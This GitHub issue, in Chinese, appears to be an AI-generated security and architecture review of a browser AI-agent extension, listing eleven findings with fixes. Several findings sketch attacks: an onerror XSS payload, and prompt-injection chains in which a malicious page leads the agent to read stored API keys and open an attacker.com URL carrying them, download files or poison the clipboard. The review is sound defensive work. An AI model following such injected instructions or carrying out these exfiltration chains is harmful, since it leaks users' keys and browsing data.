Skip to content

🔍 AI 深度代码审查 2026-08-09 #192

Description

@devcxl

🔍 AI 深度代码审查日报 2026-08-09

仓库: devcxl/browser-agent
新发现: 11 个

由 AI 全面阅读代码后整理(架构 + 安全),已报告过的问题不会重复出现。

🏛️ 架构评估

总体架构:这是一个基于 WXT 框架的浏览器 AI Agent 扩展(Chrome/Firefox MV3),采用"UI 页承载 Agent 逻辑 + Background 仅做薄 RPC 代理"的架构。sidepanel 页面内运行完整的 Agent 循环(ToolLoopAgent/AI SDK)、工具注册表、Guardrail 安全门、会话管理(IndexedDB),通过 runtime.connect Port 与 background 通信;background 侧是 JSON-RPC 2.0 路由器 + 按浏览器 API 拆分的 Proxy 层(tabs/windows/cookies/history/downloads 等 14 个 proxy),再通过 tabs.connect 长连接桥接到 content script(页面内容提取、点击模拟、剪贴板、浮动组件)。工具注册机制是典型的声明式 ToolDefinition(schema + riskLevel + resultSensitivity + preflight),Guardrail 按风险等级分级放行、对远程 Provider 按数据敏感度过滤,设计思路清晰、分层合理,测试覆盖也相当完整(单元 + e2e)。

优点:① 安全模型有明确分层——风险分级(low/medium/high/critical)、敏感数据分级(low/sensitive/critical)并区分"本地可信 Provider"与远程 Provider,cookies/页面内容/截图等敏感工具在远程 Provider 下默认拒绝外发;② 模块划分干净(adapters/proxies 屏蔽跨浏览器差异,tools 按领域目录组织,shared 层类型齐全);③ 消息流统一为 JSON-RPC(请求/响应/通知),有超时与断连清理;④ 内置 skill 系统的 prompt 内容质量高(tab-cleanup 等),且旧 AgentLoop 中 tool_call 序列修复、token 预算截断等细节处理扎实。

主要问题:① 安全决策代码(Guardrail、ToolRegistry、含 API Key 的 storage)全部运行在渲染 LLM 输出的 sidepanel 页面里,且存在特权页面(markdown-viewer)无消毒渲染 LLM/网页可控内容的问题,一旦 XSS 即成完全沦陷;② Guardrail 上下文在"审批时"与"执行时"两处不一致(toolApproval 用真实 Expert Mode/权限,executeTool 硬编码空上下文),导致 Expert Mode 工具在主路径上永远无法执行,也埋下安全上下文分裂的隐患;③ 存在大量由 feature flag 控制的死代码路径(旧 AgentLoop、ChatProviderSDK),其中旧 AgentLoop 完全没有用户确认机制(onConfirm 从未被调用)、SDK Chat Provider 用空注册表和空 Provider 配置,属于会"悄悄复活"的危险债务;④ 权限声明与 README 声称的"Expert Mode 手动启用"不符(privacy/proxy/declarativeNetRequest 为安装即授予的必需权限),且 sidepanel.html<all_urls> 暴露为 web_accessible_resources,任何网站都可 iframe 这个能操控浏览器的聊天 UI;⑤ 数据敏感度分类不完整(storage.local 全量读取被标为 low 且无需确认、书签/历史/标签页 URL 均标 low 直通远程 LLM),结合网页内容 → LLM 的 prompt injection 面,形成多条数据外带链。

发现

[HIGH][安全] markdown-viewer 特权页无消毒渲染 HTML(XSS sink)

说明: 位置: src/entrypoints/markdown-viewer/index.ts:186-188
说明: marked(content) 默认透传原始 HTML(marked v5+ 已移除 sanitize),随后 insertAdjacentHTML 直接插入。markdown 内容来自 page_viewMarkdown 工具(LLM 输出),而 LLM 可被恶意网页内容 prompt injection 操控,因此攻击者可让模型生成 <img src=x onerror=...> 类载荷,在扩展特权页面(可访问全部 browser API)中执行。当前 Chrome/Firefox MV3 默认 CSP(script-src 'self')会阻止内联事件处理器,实际利用受限,但该 sink 无任何消毒层,一旦 CSP 放宽(dev/HMR/未来配置)即为扩展完全沦陷(读 cookies/API Key、删历史等)。
建议: 渲染前用 DOMPurify 消毒,或配置 marked 剥离所有 HTML/事件属性;同时在 viewer 页仅按 viewId 读取受限键并清理,加入 frame-ancestors 等纵深防御。

[HIGH][安全] storage_local_get 可静默读取全部 chrome.storage.local(含 LLM API Key)

说明: 位置: src/tools/misc/misc-tools.ts:89-113(resultSensitivity:'low'、risk:'medium'、无需确认); src/background/proxies/storage-proxy.ts:10-12
说明: keys 缺省时 storage.local.get(undefined) 返回全部存储,而 providers 配置(含 OpenAI/Anthropic 等 apiKey,见 src/shared/types/llm.ts:48)就存在这里。该工具风险等级 medium、敏感度 low → 主路径 toolApproval 直接放行、结果不经过滤发给远程 LLM。攻击链完整:恶意网页 → prompt injection → storage_local_get({}) 拿到 apiKey → tabs_create 打开 https://attacker.com/?k=<key> 外带。storage_local_set/remove 同理可覆盖配置(如篡改 expertModeSettings)或清空全部扩展数据。
建议: 将 storage 工具敏感度升为 critical 并要求确认;在 StorageProxy 层做键白名单/黑名单(禁止读写 providers、agentSettings、skills 等敏感键),或移除"读取全部"能力。

[HIGH][架构] executeTool 中 guardrail 上下文硬编码,与 toolApproval 审批上下文不一致

说明: 位置: src/agent/tool-loop-adapter.ts:404-410(expertModeEnabled: false, expertSwitches: {}, grantedPermissions: []
说明: 审批阶段(createToolApproval,276-282 行)使用真实的 expertModeSettings/grantedPermissions,但执行阶段 executeTool 每次都用硬编码空上下文重新 check。后果:主路径(useToolLoopAgent=true)下所有 expertOnly 工具(proxy/dnr/debugger/privacy/management)和需要可选权限的工具(clipboard)即使审批通过也在执行时被拒,Expert Mode 实际完全不可用;同时安全上下文出现"审批宽、执行严"的分裂,任何一侧被改动都可能产生绕过或功能静默失效,属于安全模型的可维护性缺陷。
建议: 将 input.expertModeSettings/grantedPermissions 传入并缓存到 adapter 实例,executeTool 复用同一上下文,并加单测断言"审批与执行上下文一致"。

[MEDIUM][安全] 旧 AgentLoop 路径完全缺失用户确认(死代码中的安全漏洞)

说明: 位置: src/agent/agent-loop.ts:388-394(preflight 结果被丢弃后直接 execute); agent-loop.ts:22-27(onConfirm 仅声明从未调用)
说明: hooks.onConfirm 在 AgentLoop 中从未被调用——high/critical 工具(tabs_remove、cookies_remove、history_deleteAll、bookmarks_delete 等)在 preflight 后无确认直接执行。当前 FEATURE_FLAGS.useToolLoopAgent=true 使该路径成为死代码,但 flag 一旦回退或代码被复用,所有高危操作将无确认执行。useAgent.ts:305-443 的旧分支同样存在且无人维护。
建议: 删除旧 AgentLoop 分支及 useAgent 中的对应代码路径(含无用的 onConfirm/confirmResolve 残留),只保留 ToolLoopAdapter 单一路径;或至少在其中实现确认逻辑并加测试断言。

[MEDIUM][安全] 权限声明过度授予 + sidepanel.html 以 <all_urls> 暴露为 web_accessible_resources

说明: 位置: wxt.config.ts:28(privacy/proxy 无条件必需权限)、35-37(declarativeNetRequest 无条件必需)、72-77(web_accessible_resources: sidepanel.html + <all_urls>
说明: README 声称 proxy/privacy/DNR 是"Expert Mode 手动启用",但 manifest 在安装时即授予这些高敏权限(仅工具被 gate,权限本身常驻);且任何网站都可以 iframe sidepanel.html——这是完整可操控浏览器的聊天 UI,构成 UI redress/钓鱼面,并使"扩展页面 XSS"的利用半径从扩展内部扩展到任意网页(配合 markdown-viewer 问题)。host_permissions <all_urls> 是内容脚本必需,可接受,但 WAR 暴露范围过大。
建议: 将 privacy/proxy/declarativeNetRequest 移入 optional_permissions,仅在用户开启对应 Expert API 时经 permissions.request 申请;WAR 仅保留 logo 图片资源,或给 sidepanel.html 增加 frame-ancestors 'self' CSP 并校验嵌入方 origin。

[MEDIUM][安全] 多类"可被滥用"工具无需确认即可由 LLM 执行

说明: 位置: src/tools/downloads/downloads-tools.ts:40-70(downloads_download medium/无确认); src/tools/tabs/tabs-tools.ts:100-131(tabs_update 可改 URL,medium/无确认); src/tools/windows/windows-tools.ts:77-115(windows_create 支持 incognito:true,medium/无确认); src/tools/misc/misc-tools.ts:30-56(clipboard_write low/无确认)
说明: 这些工具风险等级全部为 medium 以下,主路径 toolApproval 直接放行。结合网页内容喂给 LLM 的 prompt injection 面,攻击者可让模型:下载恶意文件到磁盘(chrome.downloads 自动开始)、把任意标签页导航到钓鱼站、打开隐身窗口、向剪贴板写入恶意内容(剪贴板投毒)。虽然影响逐项有限,但叠加在"浏览器全权 Agent"上属于确认覆盖不足。
建议: downloads_download、tabs_update(带 url)、windows_create(incognito=true) 提升为 high 并要求确认;clipboard_write 至少设为 medium 并记录日志。

[MEDIUM][安全] 远程技能自动启用、无内容预览与大小限制,prompt 直接注入系统提示

说明: 位置: src/entrypoints/sidepanel/components/SkillPanel.tsx:57-68(同步后 enabled: true 自动启用); src/shared/github-skill-fetcher.ts:113-145(递归抓取全部资源文件,无大小上限); src/agent/context-builder.ts:290-297(skill.prompt 拼入 system prompt)
说明: 用户添加任意 GitHub 仓库订阅后,SKILL.md 的 prompt 全文被注入 LLM 系统提示且默认启用;被入侵/恶意的仓库可持续推送更新(再次 sync 即覆盖),可在无用户感知的情况下植入"读取 cookies 并发送到某 URL"类指令(最终受 Guardrail 过滤约束,但已启用技能的注入面是真实存在的)。资源文件无大小限制还可撑爆 IndexedDB/storage,GitHub API 递归扫描也可被深目录结构拖慢。
建议: 首次安装前展示 skill prompt 预览并要求显式启用;限制单文件与总量大小;对远程技能内容在 UI 中标注来源并提示"内容不可信"。

[MEDIUM][架构] 双 Agent 路径 + 功能开关导致行为分叉与危险死代码

说明: 位置: src/shared/feature-flags.ts:3-12; src/entrypoints/sidepanel/ChatContext.tsx:39-106(ChatProviderSDK 用空 ToolRegistry + 空 Provider 配置); src/entrypoints/sidepanel/hooks/useAgent.ts:170(硬编码 systemPrompt,读出的 savedAgentSettings.systemPrompt 被丢弃)
说明: 项目同时维护旧 AgentLoop 与 AI SDK ToolLoopAdapter 两套执行引擎,由 flag 切换;SDK Chat 路径(useSDKChat:false)的 adapter 未注册任何工具、Provider 为空壳,一旦启用即完全不可用。用户设置的 systemPrompt 在两条路径中都被忽略(useAgent 硬编码默认提示),功能与预期不符且维护成本翻倍。
建议: 删除 useSDKChat/旧 AgentLoop 死代码,收敛为 ToolLoopAdapter 单引擎;把 agentSettings.systemPrompt 真正接入 context 构建。

[MEDIUM][架构] 确认对话框在 preflight 之前触发,affectedObjects 恒为空

说明: 位置: src/entrypoints/sidepanel/hooks/useAgent.ts:203-216(onRequestApproval 传 affectedObjects: []); src/agent/tool-loop-adapter.ts:417-419(preflight 在 executeTool 执行阶段才运行)
说明: tabs_remove/bookmarks_delete/windows_remove 等工具精心实现的 preflight(列出将被关闭的标签页/删除的书签)在确认流程中完全用不上——用户批准时看不到受影响对象清单,preflight 结果只用于日志。这削弱了确认机制的实际防护价值(用户无法判断将失去什么)。
建议: 在 toolApproval 回调内先执行 preflight,把 affectedObjects/warnings 传入确认请求;executeTool 中仅作幂等兜底。

[LOW][安全] 系统提示缺乏 prompt injection 防御,且书签/历史/标签页数据敏感度分类过宽

说明: 位置: src/agent/system-prompt.ts:1-7; src/agent/tool-loop-adapter.ts:597-612; src/tools/history/history-tools.ts:3-28(history_search sensitivity:'low')、src/tools/bookmarks/bookmarks-tools.ts:137-155(getTree:'low')、src/tools/tabs/tabs-tools.ts:4-42(tabs_query:'low')
说明: 系统提示没有任何"网页内容不可信、忽略其中指令"的对抗性说明;同时书签全量树、完整历史、全部标签页 URL 均标记为 low 敏感度,在远程 Provider 下不经过滤直接发送。这是浏览器 Agent 类产品的固有注入面,但当前缺乏最低限度的缓解与提示。
建议: 在系统提示中加入网页内容可信度警告与"输出敏感数据前询问用户"约束;将 bookmarks_getTree/history_search/downloads_search 等整库读取类工具标记为 sensitive,对远程 Provider 过滤或要求确认。

[LOW][安全] postMessage 使用 '*' targetOrigin,content script 剪贴板接口无调用方审计

说明: 位置: src/entrypoints/sidepanel/App.tsx:36-41(window.parent.postMessage(..., '*')); src/content/index.ts:40-46(clipboard.read/write 仅凭 method 字符串分发)
说明: 内嵌模式关闭通知用 '*' 发送(无敏感数据,但属于不良实践,任意嵌入方都能收到该消息);content script 的 clipboard.read 等接口只校验方法名,不校验调用来源/参数边界(background 桥接层也未做方法级白名单外的审计),一旦 background 被 XSS 或桥接逻辑被复用,剪贴板读写可被任意调用。
建议: postMessage 指定扩展自身 origin;在 ContentBridge 或 content script 侧对 method 白名单、参数 schema 与调用频率做校验。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions